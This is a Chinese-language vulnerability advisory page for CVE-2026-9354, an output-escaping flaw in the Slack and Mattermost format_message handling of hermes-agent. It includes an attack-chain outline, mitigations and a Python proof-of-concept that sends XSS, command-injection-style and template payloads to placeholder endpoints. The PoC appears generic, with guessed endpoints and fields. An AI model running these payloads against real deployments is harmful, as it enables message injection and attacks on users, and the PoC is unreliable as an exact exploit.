IPBUF安全漏洞报告
English
CVE-2026-9354 CVSS 6.5 中危

CVE-2026-9354 NousResearch hermes-agent format_message输出转义漏洞

披露日期: 2026-05-24

漏洞信息

漏洞编号
CVE-2026-9354
漏洞类型
输出转义漏洞
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
NousResearch hermes-agent

相关标签

输出转义漏洞 NousResearchhermes-agentSlack AgentMattermost Agentformat_messageCVE-2026-9354中危漏洞

漏洞概述

CVE-2026-9354是NousResearch hermes-agent中的一个输出转义漏洞。该漏洞影响版本至2026.4.16,存在于Slack Agent和Mattermost Agent组件的format_message函数中。攻击者可通过构造特定的format_message参数来实现输出逃逸,从而可能绕过安全限制或执行未授权操作。由于漏洞可远程利用且无需认证即可发起攻击,因此具有较高的实际威胁性。漏洞披露后,厂商NousResearch未对此问题作出回应,导致漏洞补丁可能尚未发布。建议使用受影响版本的用户立即评估风险并采取相应的安全措施。

技术细节

该漏洞位于hermes-agent的Slack Agent/Mattermost Agent组件中的format_message函数。攻击者通过操纵format_message函数的参数,实现输出逃逸(escaping of output)。具体来说,当用户输入包含特殊字符或格式化指令时,函数未能正确转义或过滤这些内容,导致攻击者可以在输出中插入恶意代码或命令。攻击者可以利用此漏洞在集成的Slack或Mattermost频道中注入恶意消息,诱导其他用户执行危险操作或窃取敏感信息。漏洞的CVSS向量显示攻击复杂度低(AC:L),无需认证(PR:N)和用户交互(UI:N),但影响范围仅限于机密性和完整性(均为低影响)。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标环境中运行的 NousResearch hermes-agent 版本,确认版本 <= 2026.4.16
STEP 2
步骤2
访问Slack Agent或Mattermost Agent组件的format_message接口端点
STEP 3
步骤3
构造包含特殊字符或格式化指令的恶意payload,绕过输出转义机制
STEP 4
步骤4
发送恶意请求到目标服务器的format_message函数端点
STEP 5
步骤5
恶意内容被写入Slack或Mattermost频道消息中,其他用户查看时触发漏洞
STEP 6
步骤6
攻击成功:可导致XSS执行、信息窃取或诱导用户执行危险操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-9354 PoC - Hermes-agent format_message Output Escaping # Target: NousResearch hermes-agent <= 2026.4.16 # Component: Slack Agent / Mattermost Agent import requests import json TARGET_URL = "http://target-server:port/api/agent/slack/message" TARGET_URL_MATTER = "http://target-server:port/api/agent/mattermost/message" def exploit_format_message(target_url, malicious_payload): """ Send malicious format_message payload to the vulnerable endpoint """ headers = { "Content-Type": "application/json", "User-Agent": "Hermes-Agent-PoC" } # Malicious payload exploiting format_message escaping payload = { "channel": "#general", "format_message": malicious_payload, "user_id": "attacker" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) print(f"[+] Payload sent to {target_url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def main(): # Example payloads for format_message escaping payloads = [ "<script>alert('XSS')</script>", "${exec('id')}", "{{.}}{{range .}}{{end}}", "\x00\x1b[31mMalicious Text\x1b[0m" ] print("[*] CVE-2026-9354 Hermes-agent format_message Exploitation") print("[*] Target: Slack/Mattermost Agent") print("="*60) for payload in payloads: print(f"\n[*] Testing payload: {payload}") exploit_format_message(TARGET_URL, payload) exploit_format_message(TARGET_URL_MATTER, payload) if __name__ == "__main__": main()

影响范围

NousResearch hermes-agent <= 2026.4.16

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)限制hermes-agent的网络访问权限,仅允许受信任的IP访问;2)在Slack/Mattermost集成层部署消息过滤中间件,对format_message参数进行严格校验;3)监控异常的API调用行为,及时发现潜在攻击;4)考虑临时禁用Slack Agent和Mattermost Agent功能,待漏洞修复后再启用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表